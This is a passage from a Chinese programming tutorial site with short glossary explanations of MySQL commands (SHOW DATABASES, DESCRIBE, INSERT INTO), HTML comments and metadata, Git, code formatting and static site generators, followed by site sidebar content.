...red Query Language)是一种专门用来与关系型数据库进行交互的标准计算机语言。在本文提到的MySQL环境下,诸如SHOW DATABASES、USE database、SHOW TABLES和DESCRIBE table等都是SQL命令的具体实例。它们分别用于展示所有数据库列表、切换到指定数据库、列出当前数据库中的所有表以及详细描述特定表的结构信息。 DESCRIBE 命令 , 在MySQL中,DESCRIBE或DESC命令用于获取一个已存在的表的详细结构信息。当执行这个命令并提供表名称时,MySQL将返回该表的所有字段名、字段类型、是否可为空、键类型以及其他可能的属性,如默认值和额外注释,帮助用户理解和维护表的内部结构。例如,在文中提及的“DESCRIBE table;”命令,将会显示“table”表的所有字段及其详细属性。
2023-08-18 09:15:20
63
算法侠
HTML
...xt Markup Language)是一种标记语言,用于创建和设计网页内容的结构与布局。在团队网页设计中,HTML代码是构建网页的基础,通过标签、属性等元素定义文本、图像、链接、表格等各种内容的显示方式及相互关系。 注释 , 在编程或标记语言中,注释是指程序员或开发者为了方便自己或其他人理解代码功能、逻辑或意图而在代码中插入的解释性文字信息。在HTML中,注释使用<!-- -->包裹,不会被浏览器解析为网页内容,旨在提高代码可读性和协作效率。 Git , Git是一个分布式版本控制系统,由林纳斯·托瓦兹开发,广泛应用于软件开发项目中。在团队网页设计场景下,Git允许团队成员跟踪和记录代码更改历史,支持多人协同编辑代码且互不冲突,提供分支管理、合并请求、回滚更改等功能,确保团队高效有序地管理和维护HTML代码库。 代码格式化 , 代码格式化是指按照一定的规则对编程代码进行排版和美化的过程,旨在使代码更易于阅读和理解。在HTML中,代码格式化可能包括统一缩进、合理换行、使用空格或制表符等,以及利用预格式化标签<pre>保留原始代码格式,使得团队成员能够快速定位和修改代码。 版本控制工具 , 版本控制工具是用来追踪和控制软件代码更改历史的系统,如Git、SVN等。在团队协作开发HTML代码时,版本控制工具可以记录每个文件的修改过程,实现不同版本之间的切换、对比、合并,以及解决代码冲突等问题,从而保障团队成员之间高效、有序地共享和更新代码资源。
2024-01-31 16:09:57
392
逻辑鬼才
HTML
...xt Markup Language)是一种标记语言,用于创建和设计网页内容的结构。在本文语境中,HTML代码是指用HTML语法编写的源代码,用于构建个人博客的基本框架,包括设置元数据、创建导航栏、展示博客文章列表以及添加页脚等元素。 元数据 , 元数据是关于数据的数据,它提供了有关网页基本信息的描述,如字符集、页面标题等。在HTML文件中,元数据通常位于<head>标签内,例如,<meta charset=UTF-8>定义了网页的字符编码格式,<title>标签则设置了浏览器标签页上显示的网页标题,这些都是构成网页元数据的重要部分。 静态网站生成器 , 静态网站生成器是一种工具,它可以将文本文件(如Markdown格式的内容)转换为完整的、功能齐全的静态网页。在Web开发领域,Jekyll、Hugo和Hexo等静态网站生成器常被用来搭建个人博客,它们的优势在于能快速生成SEO友好、加载速度快且易于部署的静态网页,同时支持主题定制和插件扩展,使得非专业开发者也能高效地管理博客内容和样式布局。虽然本文主要介绍了如何使用纯HTML代码创建博客,但提及静态网站生成器是为了提供一个更现代化、高效的博客搭建方案作为后续探索方向。
2023-04-28 09:03:31
417
电脑达人
MySQL
...red Query Language)是用于管理关系型数据库的标准计算机语言。在MySQL中,SQL语句用于执行各种数据库操作,包括创建表、插入数据、更新记录、删除数据以及从数据库中检索信息等。例如,MySQL中的插入数据语句“INSERT INTO table_name (column1, column2,...) VALUES (value1, value2,...)”就是遵循SQL语法,用于将新行数据插入到指定表中的特定字段。
2023-09-26 10:25:10
67
编程狂人
站内搜索
用于搜索本网站内部文章,支持栏目切换。
知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
zip -r archive.zip dir
- 将目录压缩为ZIP格式。
推荐内容
推荐本栏目内的其它文章,看看还有哪些文章让你感兴趣。
2023-04-28
2023-08-09
2023-06-18
2023-04-14
2023-02-18
2023-04-17
2024-01-11
2023-10-03
2023-09-09
2023-06-13
2023-08-07
2023-03-11
历史内容
快速导航到对应月份的历史文章列表。
随便看看
拉到页底了吧,随便看看还有哪些文章你可能感兴趣。
时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"